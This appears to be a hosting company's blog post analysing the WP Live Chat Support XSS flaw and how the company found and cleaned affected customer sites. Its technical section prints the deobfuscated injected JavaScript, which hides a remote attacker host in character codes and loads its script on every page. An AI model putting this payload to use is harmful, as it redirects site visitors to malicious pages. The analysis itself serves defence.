WordPress

The WP Live Chat Exploit and How We Actively Protect Our Users’ WordPress Websites

You may be wondering why the image for this post is a sleeping cat. The answer comes from the cat sleeping on my lap while writing this post. And while the cat can sleep calmly 16 hours a day, our Incident Response Team can’t. They are available 24/7, not a minute less.

We don’t sleep when it comes to WordPress vulnerabilities. We are in fact quite security-centric and try to follow the security news for all major CMS applications. However, given that WordPress is the most widely used CMS on our servers, and in fact across the entire Internet, we place extra focus on monitoring all security-related stuff involving it. Our Incident Response Team does that around the clock, 24×7. As soon as a vulnerability is made public, we investigate it to see if it impacts our users, and we take protective measures when necessary. In this post we’ll show you a use case involving the WP Live Chat Support plugin.

The WP Live Chat Support plugin has over 50,000 active installations and allows website owners to add live chat functionality for customer service purposes. It’s in fact the most popular live chat plugin for WordPress, so it was safe to assume that the vulnerability would affect a good number of users on our servers. The actual vulnerability is known as cross-site scripting (XSS) allowing hackers to inject JavaScript code on every page where the live chat is displayed. Typically, the injected JS would redirect visitors to malicious/infected websites or load up unwanted popups (fake error messages and browser notification requests).

Technical Details

All versions of the plugin prior to 8.0.26 (included) are vulnerable. The vulnerability was publicly announced on May 15th, 2019. The security hole was patched in version 8.0.27 released on May 17th. As reported by Sucuri, the vulnerability is based on an unprotected admin_init hook. In the world of WordPress, hooks are functions that can be applied to a Filter or an Action, which on their part are used to modify default WordPress functionalities. WordPress executes the admin_init hook whenever the admin page is visited/accessed, and at that point developers can use it to call other functions. The problem is that by design, the admin_init hook does not require authentication, so even regular website visitors that access the dashboard URL can cause it to execute code. Thus, a good developer practice for WordPress is to not use the admin_init hook without requiring proper authentication first. Yet, the developers of WP Live Chat failed to address that and their admin hook calls an action labeled wplc_head_basic, which updates the settings of the plugin. In other words, an unauthenticated hacker could modify a JavaScript option named “wplc_custom_js” just by submitting a specially crafted request to wp-admin/admin-ajax.php. The end result is malicious code that’s entered directly in the WordPress options table.

This is the obfuscated code inserted in wplc_custom_js – a part of the WordPress options table

Here is the deobfuscated code (http://deobfuscatejavascript.com):

var d = document;
 var s = d.createElement('script');
 s.type = 'text/javascript';
 s.async = true;
 var pl = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 106, 115, 46, 100, 101, 118, 101, 108, 111, 112, 109, 121, 114, 101, 100, 102, 108, 97, 103, 46, 116, 111, 112);
 s.src = pl + '/script.min.js?style=script&';
 if (document.currentScript) {
     document.currentScript.parentNode.insertBefore(s, document.currentScript);
 } else {
     d.getElementsByTagName('head')[0].appendChild(s);
 }
As a result, when a user visits any of the pages where the live chat plugin is used, they get redirected to a malicious website asking them to allow browser notifications for it.

Protecting Our Vulnerable Users

We performed a search across our servers to find all vulnerable instances of the WP Live Chat plugin. In total, we found just under 200 installations containing WP Live Chat with version 8.0.26 or older. The course of action was pretty clear. For each website on the list, first we had to check if it was already infected. If that was the case, we restored it from the latest available “clean” system backup. Prior to restoring, we usually create a backup copy of the current/infected files and database. Then, we proceed to update the plugin to the latest version, which has been patched. Finally, we sent out an email notice the account owner informing them of the actions we’ve taken.